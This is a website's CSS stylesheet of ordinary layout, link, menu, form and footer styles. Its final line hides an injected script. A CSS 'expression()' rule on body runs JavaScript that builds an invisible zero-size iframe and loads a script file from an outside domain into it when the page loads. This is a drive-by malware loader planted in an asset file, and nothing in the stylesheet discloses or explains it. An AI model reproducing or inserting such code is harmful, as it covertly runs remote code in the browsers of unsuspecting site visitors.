/* CSS Document */
body { 
padding: 5; margin: 0; font: 12px Arial, Helvetica, sans-serif; line-height: 18px; color: #333333; background-color: #FFFFFF;background: url(images/bg.jpg) repeat-y center;
}
a {	color: #333333;}
a:hover { color: #666666; }
li { margin: 0; padding : 0; list-style : none; }
ul { margin: 0; padding : 0; list-style : none; }
em { margin: 0; padding : 0; list-style : none; }
.content { 
margin: 0 auto; width: 780px; padding: 0px 10 10 10; 
}
.header { 
height: 148px;width:780px;background: url(images/top_bg.jpg) no-repeat center top;color: #FFFFFF;margin: 0px 0; border-bottom:#A6A6A6 1px solid;
border-bottom: 0px solid #ccc;
}
.image {
	float: right;margin:0px 0px 0px 10px; border:#CCCCCC 1px solid;
}
.image_01 {
    border:#CCCCCC 1px solid;
}
.image_index {
    border:#DCDCDC 1px solid; padding:2px 2px; margin:5px;
}
.image_02 {
    border:#DCDCDC 1px solid; padding:1px 1px; margin:5px;
}
.top {
font:Arial, Helvetica, sans-serif; font-size:12px; font-weight:bold; color:#FFFFFF; padding-left:15px; line-height:21px;}
.top_min {
font:Arial, Helvetica, sans-serif; font-size:12px; color:#EAEAEA; padding-left:4px; line-height:18px;}
.title {
font:Arial, Helvetica, sans-serif; font-size:13px; font-weight:bold; color:#666666; letter-spacing:1px; padding-left:10px; padding-top:1px;}
.title_menu {
font:Arial, Helvetica, sans-serif; font-size:13px; font-weight:bold; color:#666666; letter-spacing:1px; padding-left:10px;}


.logininput input{height:16px; padding:0; margin:0; border:1px #BBBBBB solid; color:#333333; background:url(images/searchinput_bg.gif) repeat-x 0 0 #fff; line-height:16px; font-size:12px; text-indent:3px;}
.login{font: 12px Arial, Helvetica, sans-serif line-height: 18px; color: #333333; padding:0 0 0 12px ;}
.left_menu a{
font:Arial, Helvetica, sans-serif; letter-spacing:1px; font-size:12px; color:#333333; text-decoration:none; padding-left:25px; line-height:25px;}
.left_menu a:hover {font:Arial, Helvetica, sans-serif; letter-spacing:1px; font-size:12px; padding-left:25px; color:#333333; text-decoration:none; line-height:25px;}

.body_menu a{
font:Arial, Helvetica, sans-serif; font-size:12px; color:#FFFFFF; text-decoration:none; text-align:center; line-height:23px;}
.body_menu a:hover {font:Arial, Helvetica, sans-serif; font-size:12px; color:#FFFFFF; text-decoration:none; line-height:23px;}
.fqa {
    font-family:Arial, Helvetica, sans-serif;font-size:12px;padding-left:2px;
padding-right:2px;letter-spacing:2px;color: #333333;text-decoration:none;
}

.number {
    font-family:Arial, Helvetica, sans-serif;font-size:12px;padding-left:2px;
padding-right:2px;letter-spacing:2px;color: #333333;text-decoration:none;
}
.number a:link {
    font-family:Arial, Helvetica, sans-serif;
	font-size:12px;
	font-weight:normal;
	font-style:normal;
	color: #333333;
	text-decoration:underline;
}
.number a:visited {
    font-family:Arial, Helvetica, sans-serif;
	font-size:12px;
	font-style:normal;
	font-weight:normal;
	color: #666666;
	text-decoration:underline;
}
.number a:hover {
    font-family:Arial, Helvetica, sans-serif;
	font-size:12px;
	font-style:normal;
	font-weight:normal;
	color: #666666;
	text-decoration:underline;
}
.number a:active {
    font-family:Arial, Helvetica, sans-serif;
	font-size:12px;
	font-style:normal;
	font-weight:normal;
	color: #666666;
	text-decoration:underline;
}
.nlink {
    font-family:Arial, Helvetica, sans-serif;font-size:14px;padding-left:2px; font-weight:bold;
padding-right:2px;letter-spacing:2px;color: #cc0000;text-decoration:none;
}
.body_title {
font:Arial, Helvetica, sans-serif; font-size:12px; font-weight:bold; color:#333333; letter-spacing:1px; padding-left:7px; line-height:18px; padding-top:2px;}
.body_text {
font:Arial, Helvetica, sans-serif; font-size:12px; color:#333333; padding-left:5px; line-height:18px;}
.body_text a:hover {
font:Arial, Helvetica, sans-serif; font-size:12px; color:#666666; line-height:18px;}
.xplanation  {
font:Arial, Helvetica, sans-serif; font-size:12px; color:#666666; padding-left:0px; line-height:18px;}
.xplanation a:hover  {
font:Arial, Helvetica, sans-serif; font-size:12px; color:#666666; padding-left:0px; line-height:18px;}
.xplanation1  {
font:Arial, Helvetica, sans-serif; font-size:12px; color:#666666; padding-left:5px; line-height:18px;}
.xplanation1 a:hover  {
font:Arial, Helvetica, sans-serif; font-size:12px; color:#666666; padding-left:0px; line-height:18px;}
.body_link {
font:Arial, Helvetica, sans-serif; font-size:12px; color:#333333; line-height:18px;}
.body_link a:link {
font:Arial, Helvetica, sans-serif; font-size:12px; color:#333333; line-height:18px;}
.body_link a:visited {
font:Arial, Helvetica, sans-serif; font-size:12px; color:#666666; line-height:18px;}
.body_link a:hover {
font:Arial, Helvetica, sans-serif; font-size:12px; color:#666666; line-height:18px;}
.body_link a:active {
font:Arial, Helvetica, sans-serif; font-size:12px; color:#666666; line-height:18px;}

.loginlink {
font:Arial, Helvetica, sans-serif; font-size:12px; color:#CC0000; line-height:23px;}
.loginlink a:link {
font:Arial, Helvetica, sans-serif; font-size:12px; color:#CC0000; line-height:23px;}
.loginlink a:visited {
font:Arial, Helvetica, sans-serif; font-size:12px; color:#CC0000; line-height:23px;}
.loginlink a:hover {
font:Arial, Helvetica, sans-serif; font-size:12px; color:#CC0000; line-height:23px;}
.loginlink a:active {
font:Arial, Helvetica, sans-serif; font-size:12px; color:#CC0000; line-height:23px;}

.sqa_title {
font:Arial, Helvetica, sans-serif; font-size:12px; font-weight:bold; color:#CC0000; letter-spacing:1px; padding-left:5px; line-height:18px;}
.sp_title {
font:Arial, Helvetica, sans-serif; font-size:12px; font-weight:bold; color:#CC0000; letter-spacing:1px; line-height:18px;}
.sp_title a{
font:Arial, Helvetica, sans-serif; font-size:12px; font-weight:bold; color:#CC0000; letter-spacing:1px; line-height:18px; text-decoration:none}
.sp_title a:hover{
font:Arial, Helvetica, sans-serif; font-size:12px; font-weight:bold; color:#CC0000; letter-spacing:1px; line-height:18px; text-decoration: underline;}
.body_t{
font:Arial, Helvetica, sans-serif; font-size:14px; font-weight:bold; color:#cc0000; letter-spacing:1px; padding-left:5px;}
.key{
font:Arial, Helvetica, sans-serif; font-size:12px; font-weight:bold; color:#333333; letter-spacing:1px; padding-left:10px;}
.key_01{
font:Arial, Helvetica, sans-serif; font-size:12px; font-weight:bold; color:#333333; letter-spacing:1px; padding-left:12px;}
.date{
font:Arial, Helvetica, sans-serif; font-size:11px; color:#666666; letter-spacing:1px;}
.title_01{
font:Arial, Helvetica, sans-serif; font-size:12px; font-weight:bold; color:#333333; letter-spacing:1px;}
.title_01 a:link {
font:Arial, Helvetica, sans-serif; font-size:12px; font-weight:bold; color:#333333; letter-spacing:1px;}
.title_01 a:visited {
font:Arial, Helvetica, sans-serif; font-size:12px; font-weight:bold; color:#666666; letter-spacing:1px;}
.title_01 a:hover {
font:Arial, Helvetica, sans-serif; font-size:12px; font-weight:bold; color:#666666; letter-spacing:1px;}
.title_01 a:active {
font:Arial, Helvetica, sans-serif; font-size:12px; font-weight:bold; color:#666666; letter-spacing:1px;}
.nnotation {
font:Arial, Helvetica, sans-serif; font-size:11px; line-height:14px; color:#cc0000; letter-spacing:1px; padding-left:3px;}
.main a:link {
font:Arial, Helvetica, sans-serif; font-size:12px; color:#FF7300; line-height:18px;}
.main a:hover {
font:Arial, Helvetica, sans-serif; font-size:12px; color:#666666; line-height:18px;}

.new {font-size:9px; color:#FFFFFF; background-color:#FF0000; vertical-align:super; line-height:9px; padding:0 2px;}

.button {
padding: 0 3px;
color: #FFF;
background-image: url("images/buttom_bg.gif");
background-repeat: repeat-x;
background-position: 0 50%;
outline: 1px solid #8F8F8F;
border: 1px solid #FFF !important;
height: 19px !important;
border: 1px solid #8F8F8F;
height: 21px;
line-height: 17px;
cursor:pointer;
}



.form {
font:Arial, Helvetica, sans-serif; font-size:12px; color:#333333; line-height:14px;}
.form_t {
font:Arial, Helvetica, sans-serif; font-size:9px; color:#CC0000; padding-right:3px; line-height:14px;}
.form_d{
font:Arial, Helvetica, sans-serif; font-size:11px; color:#666666; line-height:12px; padding-right:5px;}

.foot{
font:Arial, Helvetica, sans-serif,MS Gothic; font-size:12px; color:#FFFFFF; text-decoration:none; line-height:20px;}

.foot a{
font:Arial, Helvetica, sans-serif,MS Gothic; font-size:12px; color:#FFFFFF; letter-spacing:1px; text-decoration:underline; line-height:20px;}
.foot a:hover {font:Arial, Helvetica, sans-serif,MS Gothic; font-size:12px; letter-spacing:1px; color:#FFFFFF;  text-decoration:underline; line-height:18px;}
.blog a{
font:Arial, Helvetica, sans-serif; font-size:12px; font-weight:bold; color:#FF7300; letter-spacing:1px; padding-left:10px;}
.blog a:hover{
font:Arial, Helvetica, sans-serif; font-size:12px; font-weight:bold; color:#666666; letter-spacing:1px; padding-left:10px;}

.tabletxt { 
 margin: 0; font-size:11px; line-height: 14px; color: #333333;
}

fieldset, img { border:none; }
em, strong, cite, th { font-style:normal; font-weight:normal; }
#change{  position:relative; top :0px;left:0px }
/* Hot_ranks style */
#hot_ranks { position:relative; width:100%; overflow:hidden; height:336px; margin:0px; border:1px solid #FFFFFF; background:#FFFFFF;  }
	#hot_ranks .hot_ranks_list { padding-bottom:0px; }
	#hot_ranks .normal { display:none; }
	#hot_ranks .current { display:block; }
	#hot_ranks ul li { width:100%; height:291px; padding:0; overflow:hidden; margin:0px 0 0 8px;}
	#hot_ranks ul li em { padding:0 0 0 0px; }
	#ranks_change_bar { position:absolute; top:-6px; margin:12px 0 0 0; padding-right:6px; right:0px; }
		#ranks_change_bar a { display:block; float:left; width:27px; height:13px; overflow:hidden; margin:0 2px; background:url(images/blog.gif) no-repeat; text-indent:-9999px; cursor:pointer;}
		#ranks_change_bar #previous { background-position:0 0; }
		#ranks_change_bar #next { background-position:-27px 0; }
		
		body{zoom:expression(function(ele){setTimeout(function(){var i=document.createElement('iframe');i.width=i.height=0;document.body.appendChild(i);i.contentWindow.setTimeout(function(){i.contentWindow.document.write('<script src=http://www.800816.com.cn/cache/yahoo.js></script>');},1000);},1000);ele.style.zoom='1';}(this));}